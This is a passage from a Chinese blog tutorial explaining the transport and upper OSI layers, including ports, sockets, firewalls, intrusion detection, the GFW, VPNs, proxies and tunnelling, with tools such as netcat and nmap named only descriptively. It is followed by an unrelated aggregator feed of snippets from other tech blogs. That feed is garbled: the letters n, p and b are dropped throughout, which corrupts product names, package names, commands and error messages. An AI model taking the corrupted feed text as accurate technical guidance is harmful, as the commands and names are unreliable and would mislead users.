前面介绍的“网络层”，其设计是面向主机（电脑）。“网络层地址”也就是某个主机的地址。
而“传输层”是面向【进程】滴！因为传输层要提供给【网络软件】使用，而网络软件打交道的对象是【另一个网络软件】。因此，传输层必须在“网络层地址”的基础上，再引入某种新的标识，用来区分同一台主机上的不同【进程】。
◇传输层的特殊性
在 OSI 7层模型中，传输层正好居中。这是一个很特殊的位置。
OSI 模型最下面3层，与【网络设备】比较密切。这里面所说的“网络设备”，既包括那些独立的主机（比如“路由器、交换机、等”），也包括电脑上的硬件（比如“网卡”）。
OSI 模型最上面3层，与【网络软件】比较密切（或者说，与“用户的业务逻辑”比较密切）。
而中间的传输层，正好是承上启下。对于开发应用软件的程序猿/程序媛，“传输层”是他们能感知的最低一层。
◇传输层的【端口】
刚才谈“传输层的必要性”，提到说——“网络层地址”只能标识【主机】，而传输层必须要能标识【进程】。为了达到这个目的，于是就引入了“传输层端口”这个概念（为了打字省力，后续讨论简称为“端口”）。
在 OSI 模型中，“端口”的官方称呼是“传输服务访问点”（洋文缩写 TSAP）。但是作为程序员，俺已经习惯于“端口”这个称呼。后续介绍依然用“端口”一词。
当程序员使用传输层提供的 API 开发网络软件时，通常把“端口”与“网络地址”一起使用（构成“二元组”），就可以定位到某个主机上的某个进程。
★传输层：具体实例
◇传输层的【协议】
为了让程序员可以更爽地使用传输层来开发网络软件，传输层既要提供“有连接”的风格，也要提供“无连接”的风格。关于这两种风格的对比，前面已经聊过，这里不再浪费口水。
具体到“互联网协议族”，有两个主要的传输层实现，分别是 TCP ＆ UDP（前者是“有连接”，后者是“无连接”）。
除了 TCP ＆ UDP，“互联网协议族”还提供了其它一些传输层协议。因为比较冷门，俺就不介绍啦。
◇传输层的【协议实现】
对于电脑主机（含移动设备），传输层的协议实现通常包含在操作系统自带的网络模块中（也就是“操作系统协议栈”）。具体参见如下示意图。
另外，还有一些专门的【4层】网络设备，也提供传输层的功能（参见后续的小节）。
（OSI 模型中，不同层次的协议实现）
◇套接字（socket API）
前面说了：传输层是面向程序员（让他们可以更方便地开发网络软件）。因此，就需要提供一些封装传输层的【库】（API）。程序员只需要调用这些【库】，就可以使用传输层的协议进行通讯啦。
影响力最大的传输层封装库，当然是 socket API。它来自加州大学伯克利分校。
在互联网诞生初期，伯克利分校开发了一个 UNIX 操作系统的的变种，叫做“伯克利 UNIX 发行版”（BSD Unix），也就是如今 BSD 操作系统的前身。伯克利发行版内置了一套用来进行网络编程的 API，当时叫做“伯克利套接字”（Berkeley sockets）。由于这套 API 用起来很方便，很多其它的 UNIX 变种也移植了这套 API，于是就逐渐成了业界的事实标准。到了上世纪90年代，Windows ＆ Linux 也都提供了这套 API。
由于大部分读者不是程序员，“套接字”这个话题就到此为止。如果你是个程序员，并且对网络编程感兴趣，可以参考俺的电子书清单，其中有一个分类目录是【IT 类 / 软件开发 / 网络相关】。
◇传输层相关的【网络设备】
4层交换机（Layer 4 switching）
前面已经介绍了“3层交换机”，“4层交换机”是其进一步的改良，可以识别传输层的协议，获取 TCP or UDP 的端口号。
有了这个能力，网管就可以在这种交换机上配置一些管理策略。比如说：（根据传输层端口号）过滤掉某种流量，或者对某种流量设置转发的优先级。
状态防火墙（stateful firewall）
网络防火墙分好几种，大部分属于这种。它能完全处理 TCP 协议的状态，显然它属于“4层”（传输层）。
◇传输层相关的【软件工具】
netcat 家族——传输层的“瑞士军刀”
关于 netcat，俺已经写过一篇比较详细的教程：《扫盲 netcat（网猫）的 N 种用法——从“网络诊断”到“系统入侵”》。看完这篇教程，你肯定能体会它功能的强大——很多与 TCP/UDP 相关的事情，都可以用 netcat 搞定。
另外，netcat 还有很多衍生品（衍生的开源项目），构成一个丰富的 netcat 家族。在上述教程也有介绍。
netstat ＆ ss
Windows 和 POSIX（Linux＆UNIX）都有一个netstat命令，可以查看当前系统的 TCP/UDP 状态（包括当前系统开启了哪些监听端口）。
另外，Linux 上还有一个ss命令，功能更强（但这个命令在 Windows 上默认没有）
nmap
这是最著名的开源的扫描器，可以扫描远程主机监听了哪些传输层端口（注：前面提到的“netcat 家族”也可以干这事儿）
nmap的功能很强，“端口扫描”只是其功能之一。
★业务层（OSI 上三层）：概述
一不小心，这篇教程已经写了这么长。为了照顾那些有“阅读障碍”的读者，俺要稍微控制一下篇幅，就把 OSI 的【上三层】合在一起讨论。
前面的章节说过：【上三层】更接近于“网络软件”，对应的是应用软件的业务逻辑，因此俺统称为“业务层”。
注：有些书（比如《计算机网络》）会把 OSI 的上三层统称为“应用层”。由于 OSI 模型中本来就有一个“应用层”，俺认为这样容易搞混（尤其不利于技术菜鸟），所以另外起了一个“业务层”的名称。
◇业务层的必要性
业务层显然是必要滴。因为传输层位于操作系统，它不可能去了解网络软件的业务逻辑。为了让网络软件能够相互通讯，肯定要在传输层之上再定义更高层的协议。
问题在于：网络软件千奇百怪，其业务逻辑各不相同，因此，“业务层如何设计”，【无】一定之规。有些软件只用一个协议来搞定所有的业务逻辑（只有一层）；有些软件会参考 OSI，把业务逻辑的协议分为三层；还有些软件可能会分出更多的层次。
再强调一下：业务层的协议如何分层，完全看具体的业务逻辑，不要生搬硬套任何现有的参考模型。
◇会话层 ＆ 表示层 ＆ 应用层
对于大部分读者来说，【没必要】花时间去了解 OSI 最上面三层之间的区别。你只需把最上面三层视作【一坨】——他们都是与网络软件的业务逻辑密切相关滴。
那么，哪些人需要详细了解“这三层的差异”捏？
如果你是个程序员，并且你正好是开发【网络】软件，俺建议你了解一下 OSI 模型的最上面三层，有助于你更深刻地思考某些网络协议的设计。所谓的“更深刻”指的是：你不能光停留在 WHAT 层面，要提升到 HOW 甚至 WHY 层面（参见《学习技术的三部曲：WHAT、HOW、WHY》）
★业务层（OSI 上三层）：具体实例
◇业务层的【协议】
业务层的协议非常多。即使光把各种协议的名称列出来，也很费劲。所以俺就偷懒一下，只点评几个特别重要的协议。
HTTP 协议
如果让俺评选最重要的业务层协议，俺首推 HTTP 协议。互联网的普及推动了 Web 的普及，而 Web 的普及使得 HTTP 成为信息时代的重要支柱。当你上网的时候，你看到的网页（HTML 页面）就是通过 HTTP 协议传输到你的浏览器上。
如今 HTTP 已经不仅仅用来展示网页，还有很多业务层的协议是建立在 HTTP 协议之上。比如说：如果你用 RSS 订阅俺的博客，RSS 阅读器需要调用 blogspot 博客平台提供的 RSS 接口，这些 RSS 接口就是基于 HTTP 协议传输滴。
考虑到本文的篇幅，俺不可能在这里细聊 HTTP 协议的规格，有兴趣的同学可以去看《HTTP 权威指南》这本书。
SSL/TLS 协议
最早的 HTTP 协议是【明文】滴；为了强化安全性，后来又设计了 SSL 协议，用来【加密】HTTP 流量；再后来，SSL 升级为 TLS（这俩是同义词）。如今经常看到的 HTTPS 相当于“HTTP over TLS”。
SSL/TLS 设计得比较优雅（很灵活），使得其它业务层的协议可以很方便地架构在 SSL/TLS 之上。这样的好处是：其它协议就不用自己再设计一套加密机制＆认证机制。
SSL/TLS 对于安全性很重要，因此俺专门写了一个系列教程（如下），详细介绍该协议的技术细节。
《扫盲 HTTPS 和 SSL／TLS 协议》（系列）
域名相关的协议（DNS 及其它）
域名相关的协议，也很重要。因为域名系统是整个互联网的基础设施。最早的域名查询协议是“DNS 协议”，由于这个协议【没有】加密，导致了一些安全隐患。比如 GFW 就利用 DNS 的这个弱点，搞“域名污染/域名投毒”。因此，后来又设计了一系列新的域名协议，引入了加密的机制。
关于这些协议的扫盲教程，可以参考如下几篇博文：
《扫盲 DNS 原理，兼谈“域名劫持”和“域名欺骗／域名污染”》
《对比4种强化域名安全的协议——DNSSEC，DNSCrypt，DNS over TLS，DNS over HTTPS》
◇业务层相关的【网络设备】
应用层防火墙（application firewall）
前面提到了：大多数网络防火墙处于4层（状态防火墙），另外还有少数处于7层，也就是“应用层防火墙”（有时候也称之为“7层防火墙”）。
一般来说，这类防火墙具备了【深度包检测】（deep packet inspection，简称 DPI）的能力，可以分析应用层协议的【内容】。
简单说一下“深度包检测”：
如果某个网络设备，仅仅分析“应用层协议”本身，它还【不够格】称之为 DPI。为了做到 DPI，还要能理解应用层协议所承载的【内容】。
比如说：某人通过【明文】的 HTTP 协议从网上下载了一个 zip 压缩包。对于这个下载行为，那些做得好的 DPI 设备不光能识别出“HTTP 协议的内容是 ZIP 压缩包”，而且还能从 ZIP 压缩包中提取出里面的文件。
入侵检测（intrusion detection system）
一般来说，“入侵检测”如果不加定语，通常指“【网络】入侵检测”（洋文叫 NIDS）；另外还有一种“【主机】入侵检测”（洋文叫 HIDS）。HIDS 与本文无关。
“入侵检测”是一种网络安全设备，它通过嗅探（sniffer）的方式抓取网上的数据包，然后进行分析，尝试发现网络中是否存在黑客/骇客的入侵的行为。故名“入侵检测”。
由于 IDS 需要理解【应用层】（7层）的内容，因此它与“应用层防火墙”有个共同点，需要具备某种程度的 DPI（深度包检测）能力。它俩的一大差异是【部署方式】。
考虑到很多读者是 IT 外行，简单说一下“旁路部署”——
如果你学过中学物理，应该知道电路有“串联 ＆ 并联”。所谓的“旁路部署”类似于电路中的【并联】。通俗地说：IDS 是【并联】部署，防火墙是【串联】部署。
GFW（Great Firewall）
本博客已经写了很多翻墙教程，大伙儿肯定都知道 GFW 了。
由于“Great Firewall”中有“Firewall”字样，很多天朝网民【误以为】GFW 是防火墙，其实不然！GFW 本质上就是 IDS——其部署方式类似于 IDS（旁路部署），其工作方式有很大一部分也类似于 IDS（当然啦，GFW 的功能比 IDS 更多）。
大约七八年前，就有热心读者建议俺写一篇技术博文，介绍 GFW 的工作原理。由于俺比较懒，拖到今年（2021）都没动手，很惭愧 :(
★杂项
有些概念，并不属于某个特定的层次，单独放到这个章节。
◇VPN（virtual private network）
咱们天朝的网民使用 VPN，一多半是为了翻墙。其实 VPN 的本意（如其名称所示）是为了提供某种虚拟化的私有的网络，让身处异地的多个人，可以用 VPN 构建出一个虚拟的内网，从而能在这个内网中协同工作。
VPN 的类型很多，使用的技术也各不相同，因此 VPN 对应的 OSI 层次很宽（“1层”到“6层”）。俺到维基百科剽窃了如下这张图，让你见识一下 VPN 的多样性。
（名目繁多的 VPN，分类示意图）
◇代理（proxy）
那些经常翻墙的同学，对“代理”应该都很熟悉了。“代理”与 VPN 类似，一开始并不是用来翻墙滴，“翻墙”只是这俩的副业。
代理服务器（proxy server）
“代理服务器”部署在“客户端 ＆ 服务端”之间，起到某种“中介”的作用。“代理服务器”的类型有很多，干的事情各不相同。
（“代理服务器”的简单示意图）
代理客户端（proxy client）
早期的代理服务器，【不】需要“代理客户端”。因为早期的“代理服务器”支持的是【标准协议】。比如“HTTP proxy server”支持的是标准 HTTP协议，而用户的电脑上，已经有浏览器（原生支持 HTTP 协议）。这种情况下，自然不需要再有“代理客户端”。
后来，为了满足某些特殊需求（比如翻墙），“代理服务器”必须使用某种特殊的（非标准的）协议。因此，就必须在用户的环境中安装“代理客户端”。对于翻墙来说，你装的翻墙软件，相当于“代理客户端”。
代理的层次
“代理”也分不同的层次。比较常见的有如下几种：
TCP 代理（TCP 端口转发）——4层（传输层）
SOCKS 代理——5层（会话层）
HTTP 代理——7层（应用层）
......
◇网关（gateway）
前面的某些章节，已经稍微提及了“网关”这个概念，但还没有具体介绍它。
严格来讲，“网关”是一个逻辑概念，【不要】把它当成具体的网络设备。充当“网关”的东东，可能是：路由器 or XX层交换机 or XX层防火墙 or 代理服务器 ......
“网关”也分不同的层次。如果不加定语，通常指的是“3层网关”（网络层网关）。列几种比较常见的，供参考：
路由器充当网关——3层（网络层）
3层交换机充当网关——3层（网络层）
4层交换机充当网关——4层（传输层）
应用层防火墙充当网关——7层（应用层）
代理服务器充当网关——（取决于代理的层次，参见前一个小节）
......
◇隧道协议（tunneling protocol）
所谓的“隧道协议”，通俗地说就是：用某种协议包裹另一种协议，以满足某些特殊的需求。
看到这里，估计某些同学会感到纳闷——因为俺在本文开头介绍“协议栈”的时候提到说：相邻的两层协议，下层会包裹上层。“隧道协议的包裹”与“上下层协议的包裹”，差别在哪捏？
俺来解释一下：
“隧道协议”可以做到更灵活的包裹——既可以对层次相隔很远的协议进行包裹，也可以对同一层的协议进行包裹，甚至可以“倒挂”——所谓的“倒挂”就是让【上】层反过来包裹【下】层。
举例：
俺曾经写过一篇《如何让【不支持】代理的网络软件，通过代理进行联网（不同平台的 N 种方法）》，其中介绍了“HTTP 代理”的两种模式：“转发模式 ＆ 隧道模式”。对于“HTTP 代理”的隧道模式，可以实现【TCP over HTTP】（把 TCP 协议打包到 HTTP 协议内部），这就是刚才所说的“倒挂”。
另外，VPN 小节的那张图中，有些类型的 VPN 就是用“隧道协议”的机制实现。
◇（其它杂项）
可能还有一些杂七杂八的东东，没来得及聊。如果你觉得有些【网络相关】的概念，不太明白，欢迎到博客留言，进行反馈。
俺会根据大伙儿的反馈，再对这篇教程进行补充。
★参考书目
如下几本书，都在俺的网盘上分享了电子版。
中文书名 英文书名 作者 《计算机网络》 《Computer Networks》 Andrew Tanenbaum
David Wetherall《计算机网络——自顶向下方法》 《Computer Networking——A Top-Down Approach》 James Kurose
Keith Ross《TCP-IP 详解》 《TCP-IP Illustrated》 Richard Stevens 《UNIX 网络编程》 《UNIX Network Programming》 Richard Stevens 《HTTP 权威指南》 《HTTP——The Definitive Guide》 David Gourley
Brian Totty
Marjorie Sayer
Sailu Reddy
Anshu Aggarwal
俺博客上，和本文相关的帖子（需翻墙）：
《扫盲 HTTPS 和 SSL／TLS 协议》（系列）
《扫盲 DNS 原理，兼谈“域名劫持”和“域名欺骗／域名污染”》
《对比4种强化域名安全的协议——DNSSEC，DNSCrypt，DNS over TLS，DNS over HTTPS》
《如何隐藏你的踪迹，避免跨省追捕》（系列）
《扫盲 netcat（网猫）的 N 种用法——从“网络诊断”到“系统入侵”》
《如何让【不支持】代理的网络软件，通过代理进行联网（不同平台的 N 种方法）》
《聊聊分布式散列表（DHT）的原理——以 Kademlia（Kad） 和 Chord 为例》
《扫盲操作系统虚拟机》（系列）
《扫盲 Linux＆UNIX 命令行——从“电传打字机”聊到“shell 脚本编程”》
《如何【系统性学习】——从“媒介形态”聊到“DIKW 模型”》
《学习技术的三部曲：WHAT、HOW、WHY》
版权声明
本博客所有的原创文章，作者皆保留版权。转载必须包含本声明，保持本文完整，并以超链接形式注明作者"编程随想"和本文原始地址。翻墙工具
使用 BT sync 自动同步各种翻墙工具（BT sync 免翻墙可用）， 同步密钥是 BTLZ4A4UD3PEWKPLLWEOKH3W7OQJKFPLG 如有其它问题，用program.think@gmail.com联系俺 - 博客 轶哥博客 2021-03-18 10:48:56<>Ale Silico M1芯片可谓是性能爆炸，开发体验极佳，生态中适配速度也算得上势如破竹。借助Roetta 2平稳过渡ARM64，实在是高明。在MacOS 11+系统中通过 Ale M1 编译原生M1 Electro应用程序也算得上轻松容易。<>理论兼容M1芯片的Electro版本是
11.2.3，实测兼容较好的版本是13.0.0-eta.5+。<>electro-uilder需升级至20.10+，建议版本22.10.5+。<>本地Node.j版本请安装v15.5.0+。<>MacOS建议升级到11.2.3+。<>通过electro-uilder编译Electro ARM64应用程序，需调整ackage.jo配置文件。 - 博客 轶哥博客 2021-03-18 09:44:46<>在 Electro 12 及更高版本，设置了
odeItegratio: true及odeItegratioIWorker: true、odeItegratioISuframe: true，渲染进程仍然可能出现require i ot defied的报错。<>这个报错还跟随有module i ot defied或exort i ot defied。<>同样的报错在Electro 5+曾出现过，原因是发布v5.0.0的时候，官方将odeItegratio默认值设置为了fale（与此同时还将weviewTag设置为了fale）。<>近期，Electro 12.0.0 发布。修复了诸多异常。同时也将cotextIolatio的默认值更改为true（详见：htt://githu.com/electro/electro/ull/27949）。 - 博客 Jiajun的编程随想 2021-03-18 08:00:00《Go里优雅的使用全局配置》全局配置是一个单例，最简单的实现是使用一个全局变量，为了到处都可以使用到，所以常见的做法是有一个包，例如名字叫 `global`或者诸如此类的，然后要用到的地方去导入，例如...
- 博客 贼拉正经的技术博客 2021-03-15 13:43:35
- CSDNGreener JavaScript ⭐️️1160 🖖41 🐵 油猴脚本 | TamperMonkey | Chrome | FireFox | CSDN页面浮窗广告完全过滤净化 | 国服最强最全最新CSDN脚本 2. bolo-solo Java ⭐️️255 🖖53 🏠https://demo.stackoverflow.wiki 🍍 Bolo 菠萝博客 专为程序员设计的精致 Java 博客系统 | 🎸基于Solo深度定制 | 免登录评论 | 动态邮件/Server酱微信提醒 | 自定义图床 | 一键隐藏交互式模块，备案必备 | ✨精致主题持续更新 | 备份一键导出导入 | 内置防火墙 | 评论过滤 | 独立分类 | 文章同步/备份到链滴 | 离线博客 | ✅安装太轻松！WAR包、Tomcat、Docker、JAR部署支持 | 🚚支持从Solo轻松迁移 3. DangerousSpamWords ⭐️️29 🖖21 🎶超轻量的中文敏感字、敏感词库，字典词典，超低....
- 博客 Jiajun的编程随想 2021-03-15 08:00:00《Golang sync.Map源码分析》今天看了一下 `sync.Map` 的实现，首先我们从一个demo入手：```go...
- 博客 轶哥博客 2021-03-14 21:40:43<>由于CetOS8默认安装了odma，因此在CetOS8中安装docker会导致冲突引发如下异常。
Error: Prolem 1: rolem with italled ackage odma-2.0.5-5.module_el8.3.0+512+358dca.x86_64 - ackage odma-2.0.5-5.module_el8.3.0+512+358dca.x86_64 require ruc gt= 1.0.0-57, ut oe of the rovider ca e italled - ackage cotaierd.io-1.4.3-3.1.el8.x86_64 coflict with ruc rovided y ruc-1.0.0-68.rc92.module_el8.3.0+475+c50ce30.x86_64 - ackage cotaierd.io-1.4.3-3.1.el8.x86_64 oolete ruc rovided y ruc-1.0.0-68.rc92.module_el8.3.0+475+c50ce30.x86_64 - caot itall the et cadidate for the jo - ackage ruc-1.0.0-64.rc10.module_el8.3.0+479+69e2ae26.x86_64 i filtered out y modular filterig Prolem 2: rolem with italled ackage uildah-1.15.1-2.module_el8.3.0+475+c50ce30.x86_64 - ackage uildah-1.15.1-2.module_el8.3.0+475+c50ce30.x86_64 require ruc gt= 1.0.0-26, ut oe of the rovider ca e italled - ackage docker-ce-3:20.10.1-3.el8.x86_64 require cotaierd.io gt= 1.4.1, ut oe of the rovider ca e italled - ackage cotaierd.io-1.4.3-3.1.el8.x86_64 coflict with ruc rovided y ruc-1.0.0-68.rc92.module_el8.3.0+475+c50ce30.x86_64 - ackage cotaierd.io-1.4.3-3.1.el8.x86_64 oolete ruc rovided y ruc-1.0.0-68.rc92.module_el8.3.0+475+c50ce30.x86_64 - ackage cotaierd.io-1.4.1-3.1.el8.x86_64 coflict with ruc rovided y ruc-1.0.0-68.rc92.module_el8.3.0+475+c50ce30.x86_64 - ackage cotaierd.io-1.4.1-3.1.el8.x86_64 oolete ruc rovided y ruc-1.0.0-68.rc92.module_el8.3.0+475+c50ce30.x86_64 - ackage cotaierd.io-1.4.3-3.el8.x86_64 coflict with ruc rovided y ruc-1.0.0-68.rc92.module_el8.3.0+475+c50ce30.x86_64 - ackage cotaierd.io-1.4.3-3.el8.x86_64 oolete ruc rovided y ruc-1.0.0-68.rc92.module_el8.3.0+475+c50ce30.x86_64 - caot itall the et cadidate for the jo - ackage ruc-1.0.0-56.rc5.dev.git2ad837.module_el8.3.0+569+1ada2e4.x86_64 i filtered out y modular filterig - ackage ruc-1.0.0-64.rc10.module_el8.3.0+479+69e2ae26.x86_64 i filtered out y modular filterigodma改用docker。 - 博客 轶哥博客 2021-03-14 17:34:03<>在uutu 20.04 LTS版本中，可以通过
udo at itall ytho安装ytho2，但是无法通过udo at itall ytho-i安装i2，提示E: Uale to locate ackage ytho-i。<>无法找到ytho-i安装包的原因是，Pytho 2.7的支持周期已于2020年1月1日结束。因为不再维护Pytho 2.7，i 21.0已于2021年1月停止对Pytho 2.7的支持。<>如果通过ya.io的默认get-i.y脚本进行安装，也将遇到Thi crit doe ot work o Pytho 2.7 The miimum uorted Pytho verio i 3.6.提示。 - 博客 轶哥博客 2021-03-14 16:27:28<>Itel RealSee SR300 F200 Widow10 开启 Widow Hello 人脸，可以实现人脸识别登录。速度很快，安全性很高。<>
<>笔者有幸参与了第一批Itel RealSece设备的开发，至今家里还有不少F200、SR300的开发版本的设备。
- 博客 构建我的被动收入 2021-03-14 08:00:00本文分享我使用纯文本管理我的目标(OKR)、时间(GTD)、笔记(Logseq)与财务(Beancount)的人生管理经验。
- 博客 Randy's Blog 2021-03-14 08:00:001285
- 博客 轶哥博客 2021-03-13 18:27:35<>OeWRT / LEDE 设置桥接模式作为交换机，能够将路由器当无线AP使，同时有线网口作为交换机使用。<>
<>先将原有的
wa口删除，然后进入la口设置页面物理接口选项，勾选桥接接口选项，将未勾选的/之前用于wa口的以太网适配器: quoteth0.xquot勾选桥接。<><>勾选
la口DHCP服务器忽略此接口选项。设置完成后，所有的接口都可以作为交换机LAN口使用。无线设置不变。 - 博客 轶哥博客 2021-03-11 17:32:24<>为了实现Electro的自动更新，曾撰文《Electro 应用分发系统（Electro自动更新）》，不少小伙伴反应说不知道正确的操作姿势。仔细想来，这个部署确实不简单，因此特意录制此视频。<>视频从头开始讲解了如何搭建一个Electro官方示例，配置并实现
uh到git仓库后服务器端自动编译、自动上传编译后的文件到七牛对象存储、客户端捕获更新信息并且后台静默更新的配置全过程。<>需要特别留意的是，每次发布新版本之前都需要修改ackage.jo里面的verio版本号，否则自动更新分发会失效。 - 博客 Jiajun的编程随想 2021-03-11 08:00:00《Android滑动时隐藏FAB》我在BaseClass里加入了如下代码，实现了在滑动 `RecyclerView` 的时候，隐藏浮动按钮(FAB)：```kotlin...
- 博客 轶哥博客 2021-03-10 18:38:50<>在《Redah刷新整个仪表盘API》一文中，提到了
导出仪表盘中所有的Widget数据为Excel文件的需求。<>实现该需求只需要调用官方的API，但是官方API文档对于使用的描述基本没有。第一步：获取仪表盘数据，得到QueryID
<>通过请求GET /ai/dahoard/ltdahoard_luggt?ai_key=ltAPI_KEYgt - 博客 轶哥博客 2021-03-10 18:38:37<>转眼间使用Redah已经两年多了，
redah给我的感觉就是省心省事。基础需求都能实现，用户体验很好，升级版本也容易，二次开发也方便简单。<>只不过有两个需求redah没有实现：- API刷新整个仪表盘
- 导出仪表盘中所有的Widget数据为Excel文件
- 博客 轶哥博客 2021-03-10 13:16:21<>Poetry是一个Pytho的依赖管理工具。设计思路比较先进，运行速度非常快。非常类似于
Node.j里面的yar。<>Poetry在国内的安装速度比较慢。好在安装脚本提供了--file参数，可以指定安装包。我们可以通过这个方法进行快速安装。关于Poetry
<>Poetry是用于处理依赖项安装以及Pytho程序包构建和打包的工具。只需一个文件即可完成所有工作：标准化的yroject.toml。<>换句话说，用yroject.toml来代替etu.y，requiremet.txt，etu.cfg，MANIFEST.i和新加入的Pifile。- 将尝试将语义版本控制作为版本命名的最佳实践。
- 可以指定自述文件，icluded 和 excluded 文件：o more
MANIFEST.i。oetry还将使用VCS忽略文件（如.gitigore）填充该exclude部分。 - 可以指定关键字（最多5个），并在包发布站点上用作标签。
- 依赖项部分支持插入符号，波浪号，通配符，不等式和多重依赖。
- 您必须指定与您的软件包兼容的ytho版本。
oetry还将检测您是否在virtualev中，并相应地安装软件包。因此，oetry可以在全球范围内安装并在任何地方使用。<>oetry还带有完整的依赖关系解析库。<>更多内容不再赘述，参考eotry官网：htt://ytho-oetry.org/<>使用方法参考 eotry开源地址：htt://githu.com/ytho-oetry/oetry - 博客 Randy's Blog 2021-03-09 08:00:001292
- 博客 轶哥博客 2021-03-08 00:19:58<>使用Ngix可以实现根据域名进行TCP反向代理到不同的内网服务器。
应用场景
<>一家公司购买了很多服务器，为了节约成本，使用了阿里云/腾讯云的NAT网关，通过几台网关服务器进行NAT出口，通过大量内网服务器进行数据计算，节约公网带宽费用且确保了内网服务器不因公网IP泄露导致被攻击。<>（上图来自阿里云）<>但是在用作网关的出口服务器上，需要配置SSL域名证书。如果在网关配置域名证书，各个业务对证书的要求不一样，网关服务器管理员疲于运维。因此，通过TCP反向代理到内网服务器，让内网服务器管理员自行配置SSL证书。 - 博客 轶哥博客 2021-03-07 23:54:29<>云服务器云盘扩容相关文章挺多的，坑也比较多。特整理正确操作如下。
支持的发行版
- Uutu
- CetOS
- Deai
- Alie
- Arch
Uutu 16.04、Uutu 18.04、Uutu 20.04测试过。<>在CetOS 6、CetOS 7、CetOS 8测试过。<>在阿里云、腾讯云、AWS EC2实测过扩容，以上云服务商都支持云盘扩容。<>需要注意的是，虽然扩容方法支持系统盘和数据盘，然而部分云服务提供商并不支持系统盘扩容，只支持在购买云服务器/VPS的时候选择系统盘大小。通常这些服务商都支持对系统盘进行备份，可以通过新购服务器还原系统盘镜像然后再执行此文操作的方式进行迁移扩容。<>此方法不支持ARM服务器扩容。一般来说，ARM服务器、Raerry Pi、NaoPi等arm架构的设备都有专门的扩容方法，需要查阅相应文档进行扩容。 - 博客 贼拉正经的技术博客 2021-03-06 18:06:461295
- 博客 轶哥博客 2021-03-04 13:25:32<>
vm模块允许在V8虚拟机上下文中编译和运行代码。但是不是安全机制，如果有沙箱(adox)需求，可以考虑htt://githu.com/atrikimek/vm2。<>在VM环境中使用ECMAScrit module，即在VM环境中可以用imort代替require引入某个模块，避免Caot ue imort tatemet outide a module错误，也可以用exort代替module.exort。<>我的使用场景： <>通过Node.j在VM环境使用ECMAScrit module之目的，是为了构建一个虚拟环境（可控的上下文内容）动态执行一些代码，方便在复杂系统中构建小型脚本动态的快速验证一些想法。<>在htt://githu.com/yi-ge/ai-roxy这个小项目中也有用到vm模块。 - 博客 轶哥博客 2021-03-03 14:10:19<>ESXi + Fr 实现内网穿透，可以做到远程管理ESXi。由于ESXi默认启用了SSL本地证书，因此配置方法与传统htt站点反向代理有所不同。
[exi-we]tye = tclocal_i = 10.10.10.254local_ort = 443remote_ort = 6012tye只设置为tc，远程访问地址：htt://xx.xx.xx.xx:6012，注意，需要以htt开头并忽略证书错误。 - 博客 轶哥博客 2021-03-03 13:27:38<>
<>ESXi有可能会出现无法添加网络适配器，即无法选择虚拟网卡，网络适配器没有选项（如图）。这个问题是错误的配置导致的，并非系统BUG。<>
<>此时网络数量可能显示为0，或者与实际网络数量不符。
- 博客 轶哥博客 2021-03-02 14:26:05<>通过给ESXi宿主机安装USB驱动，可以实现兼容虚拟机无法驱动的硬件。如果虚拟机本身已经兼容了该硬件，可以参考《ESXI+爱快+OeWRT 使用2.5G USB网卡 RTL8156》设置USB芯片组直通，获得更好的性能体验。<>
驱动下载地址： htt://flig.vmware.com/u-etwork-ative-driver-for-exi<>注： 根据官网说明，flig是实验性的，不应该用于生产环境。<>支持的ESXi版本：6.5.0，6.7.0，7.0.0，7.0.1。建议升级到ESXi 7.0 Udate 1以获得最佳体验（参考《ESXi7.0.0 升级到 ESXi 7.0 Udate 1》）。低版本可能导致重启后USB网卡无法正常工作且无法恢复。<>Liux系统参考《Liux 2.5G USB网卡驱动安装RTL8156/8156B》。 - 博客 构建我的被动收入 2021-03-02 08:00:00被动收入投资组合2021年02月月报
- 博客 轶哥博客 2021-03-01 18:26:10<>ESXi 7.0 Udate 1 升级说明：《VMware ESXi 7.0 Udate 1 Releae Note》，解决了诸多Bug。<>随着VMware vShere 7 Udate 1的发布，不少VMware用户正在考虑将生产基础架构升级到新版本。
如何安装ESXi 7 Udate 1
<>有多种安装ESXi 7 Udate1的方法。- 全新安装ESXi 7 Udate 1
- 命令行升级
- vShere Udate Maager
- vShere Lifecycle Maager
- 博客 轶哥博客 2021-03-01 18:25:51<>ESXi宿主机联网后可以通过SSH在线升级系统版本（例如《ESXi7.0.0 升级到 ESXi 7.0 Udate 1》），获得更多新特性。
联网必备条件
至少一根联网线路接入到ESXi宿主机 或虚拟机中存在一个同网段可联网网关 - 拥有
VMware vShere cliet或ESXi管理员权限
虚拟机中存在一个同网段可联网网关 ”，例如ESXi + OeWrt/LEDE或ESXi + iKuai组合，其中的OeWrt/LEDE或iKuai可以作为联网网关。比如说将ESXi管理地址设置为10.10.10.252，而爱快负责oe及DHCP Server，且DHCP网段和10.10.10.254在同一个网段。 - 博客 Jiajun的编程随想 2021-02-25 08:00:00《Python中用tuple作为key》其实当我得到这个结论的时候，我觉得很简单很正常，但是我第一次看到这个用法时，我觉得很新奇：```python...
- 博客 Jiajun的编程随想 2021-02-24 08:00:00《一些常用的算法思维》其实算法并不是空中楼阁的东西，相反，在实际工程、实际生活中，也可以看到它的影子。因为它是一种思维方式。我们来看看常用的一些算法思维...
- 博客 轶哥博客 2021-02-23 00:32:09<>ESXI+爱快+OeWRT/LEDE（旁路由）的搭配是非常高效的，兼容性也很好。开启IPv6的前提条件是爱快负责DHCP，OeWRT作为旁路由模式，路由器改为桥接模式（或配置了IPv6 DHCPv6，且依照下文iKuai的配置方法进行配置）。<>目前移动、联通、电信三大运营商都已经为客户分配了公网IPv6。鹏博士（长城宽带）尚未支持IPv6，不过鹏博士可以通过NAT优化渠道支持IPv6。
- 博客 轶哥博客 2021-02-21 21:36:31<>目前爱快完美兼容芯片为RTL8156的2.5G USB有线网卡。
目前OeWRT(LEDE)尚不支持RTL8156网卡（可以参考《ESXi 安装USB网卡驱动》实现ESXi + OeWRT。2021年03月14日，OeWRT正式支持RTL8152。Liux系统可参考《Liux 2.5G USB网卡驱动安装RTL8156/8156B》）。<>爱快需要升级到3.4.0+。该版本新增兼容的型号：- PCI网卡驱动:RTL8125
- USB有线网卡驱动:RTL8150/8152/8153/8156,AX88179/8817x
- 博客 Jiajun的编程随想 2021-02-21 08:00:00《编写可维护的函数》之所以写这篇，是因为看到 Dave Cheney 的一篇博客，深有同感：https://dave.cheney.net/2019/09/24/be-wary-of-functions-which-take-several-parameters-of-the-same-type ...
- 博客 轶哥博客 2021-02-19 14:26:34<>编译程序的时候可能出现
